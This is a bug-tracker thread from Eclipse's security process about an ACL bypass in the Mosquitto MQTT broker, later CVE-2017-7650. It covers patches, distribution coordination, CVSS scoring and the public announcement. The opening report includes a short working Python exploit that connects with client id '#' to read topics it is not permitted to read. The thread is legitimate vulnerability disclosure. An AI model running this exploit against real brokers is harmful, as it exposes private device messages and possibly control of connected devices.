Community
Participate
Working Groups
From the security@eclipse.org mailing list: Hi, There is a bug in ACLs based on pattern substitution. A user can insert wildcard symbols (‘#’ or ‘+’) into client_id or username. And thus he can bypass ACL check. There is an ACL rule in acl.conf: =========================================================================================== pattern readwrite house/authorization/%c ... =========================================================================================== And simple sploit.py: #!/usr/bin/env python3 import paho.mqtt.client as mqtt import sys def on_connect(client, userdata, flags, rc): print("Connected to MQTT broker.") client.subscribe("#") print("Subscribed to topic '#'.") print("Waiting for messages...") def on_message(client, userdata, msg): print(msg.payload) def exploit(host): client = mqtt.Client(client_id="#", clean_session=True) client.on_connect = on_connect client.on_message = on_message print("Connecting to MQTT broker on %s" % host) client.connect(host, 1883, 60) client.loop_forever() if __name__ == "__main__": if len(sys.argv) != 2: print('USAGE: %s <host>' % sys.argv[0]) exit(-1) sys.exit(exploit(sys.argv[1])) POC shows that user can read all messages from 'house/authorization/#’ bypassing ACL rule. =========================================================================================== What do you think, should we register CVE for this issue? Mosquitto is a very popular product, it seems to me that we should. Best regards, Artem
Roger, can you help here? I didn't have time to test and reproduce myself, but if the issue is really as described then it should be fixed ASAP and a CVE registered.
I've not looked at the code, but that looks very very likely to be true. We need a bit of a discussion on what the best approach to fixing it is.
*** Bug 516778 has been marked as a duplicate of this bug. ***
Sorry opening a second bug for this. I think it would be good to announce such things on the mailing list as well. I was able to reproduce this easily. I think we should assign a CVE for this.
Created attachment 268410 [details] Initial patch This is a patch which I believe prevents the issue. When pattern based ACLs are in use, it modifies the ACL checking code to look for the presence of a +, #, or / in the username or client id. If any of these are found, it denies the request. This is one approach, there are others. In some ways I would prefer to just deny usernames and client ids with a +, #, or / in them but that is probably beyond the scope of just mosquitto to decide upon.
Any objections for assigning a CVE? That way we can properly reference this.
I've not had to do this before thankfully, if we assign a CVE does it stay private until we're ready to update everything? If that's the case, then please go ahead. This same issue will affect authentication plugins as well. An alternative/addition to the patch would be to deny all PUBLISH sending or receiving for clients with +#/ when an auth plugin is in use. Less flexible, but it covers all of the bases.
Yes that is the idea. Assigning a CVE allows you to reference to this issue by a publicly known ID, without disclosing what this is about. You can put this in release notes etc and at some point in the future disclose the issue.
Looking at the MQTT spec I think you can easily reject those special cases: --- 3.1.3.1 Client Identifier The Server MUST allow ClientIds which are between 1 and 23 UTF-8 encoded bytes in length, and that contain only the characters "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" [MQTT-3.1.3-5]. ---
True, but at the moment some clients including mosquitto_pub/sub can automatically generate client ids with a '/' in. I don't want to break everything for existing clients quite yet. That's something else that will need changing of course.
Created attachment 268419 [details] Updated patch (against 1.4.11)
My plan is to release a fixed version 1.4.12 and to get patches into places that have past versions of mosquitto packaged. So far I know this affects: * Mac Homebrew (will provide 1.4.12) * Debian (stable: 1.3.4, needs patch; testing: 1.4.10, patch) * Ubuntu (16.04: 1.4.8, patch; 16.10: 1.4.8, patch; 17.04: 1.4.10, patch; 17.10: 1.4.10 - will push 1.4.12) * Fedora (24-26, EPEL 7: 1.4.11, not sure whether patch or push to 1.4.12 is possible) * Openwrt (unsure of current status, either patch or new version) I'm not sure what else is necessary outside of that.
I can try to get some contact for Fedora if that helps. Aside from that it might be good to communicate some feedback to the original reporter.
I forwarded this to secalert@redhat.com
@Roger: Please inform secalert@redhat.com referring to this CVE once the patch is made publicly available. If you don't want to do that, I can of course do that for you.
A bit of an update: This affects mosquitto versions from 0.15 to 1.4.11 inclusive. I have patches for versions of mosquitto currently in Linux distributions, namely 0.15, 1.3.4 and 1.4.x. After some thought the updated patch above is a bit too restrictive. The bug also has a potential to manifest itself in third party plugins, so the patches deny access to users with invalid usernames/client ids so the plugin will not be vulnerable. Debian and Ubuntu security are aware of the issue. I have submitted private patches to them for review. I still need to prepare updated packages for Debian old stable and Debian testing. Work still to be done: Preparation of 1.4.12 including the fix, and then packaging of that release for all platforms the project supports (Debian, Ubuntu, Windows, Mac, Opensuse build service). At that point everything from the Mosquitto side is ready. What else needs doing? How do we deal with the CVE side of things? Should I send the patch to the Fedora contact before it is public?
That sounds great. Regarding the CVE, we still need to score this one and prepare the report. Wayne will need to submit the CVE then to the parent CNA. For Fedora I would suggest that you directly contact "secalert@redhat.com", referring to the CVE ID and offering a patch before the release. They mentioned that they also will pick it up once an upstream release has been made. If you want me to do that, I can of course help.
Here is a link the CVSS calculator, if you want to give it a try: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
Thanks for the offer but it's ok, I've emailed secalert the patch now. With regards a report, this is what I've put together so far covering the bases that were important for Debian, but I've no idea on format or what is required for a CVE. Pattern based ACLs can be bypassed by clients that set their username/client id to '#' or '+'. This allows locally or remotely connected clients to access MQTT topics that they do have the rights to. The same issue may be present in third party authentication/access control plugins for Mosquitto. This issue affects all versions of Mosquitto 0.15 to 1.4.11 inclusive. It only comes into effect where pattern based ACLs are in use, or potentially where third party plugins are in use. Version 1.4.12 of Mosquitto fixes the problem. The fix addresses the problem by restricting access for clients with a '#', '+', or '/' in their username or client id. '/' has been included in the list of characters disallowed because it also has a special meaning in a topic and may represent an additional risk. The restriction placed on clients is that they may not receive or send messages that are subject to a pattern based ACL check, nor any message that is subject to a plugin check.
The CVSS calculator is tricky. Compare these: "There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact." "There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component." I'd say that some restricted information is obtained, and I can't comment on the impact. Presumably in this case I need to take the most pessimistic viewpoint?
My most pessimistic attempt is: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N/E:H/RL:O/RC:C/CR:M/IR:M/AR:L/MAV:N/MAC:L/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:N This assumes that pattern ACLs are in use and that all information is extremely important.
Hm, seems that way. I was thinking about setting "Integrity Impact (I)" to low. But I guess it depends on what you actually access. In theory you could actually get privileged command and control capabilities over an attached device. So in the end I do follow your assessment. +1 from me
Yes exactly, but it could equally be as inocuous as "living room temperature sensor can report a reading for the kitchen temperature sensor instead". I think the report should highlight that the type of access is not changed, so if the pattern ACL offers up read access only then it is not possible to get write access through this vulnerability.
I agree. I guess you can put that in the report. Looking at a similar issue, they come to the same score: https://nvd.nist.gov/vuln/detail/CVE-2016-9877
I'm planning on going public on Monday around about noon.
Created attachment 268603 [details] Final patch to be released for 1.4.x.
I think I've got everything in order, including third parties, and will be going public as close to 11:00 UTC as I can manage. I'll post a comment on here when that is done.
This is now public.
Do you have a URL for tracking this?
Sorry, I'm not quite sure what you're asking. What tracking are you referring to? http://mosquitto.org/2017/05/security-advisory-cve-2017-7650/ is the announcement post.
Yes, that is what I was looking for! :) Big thanks!
Created attachment 269107 [details] CVE Information File
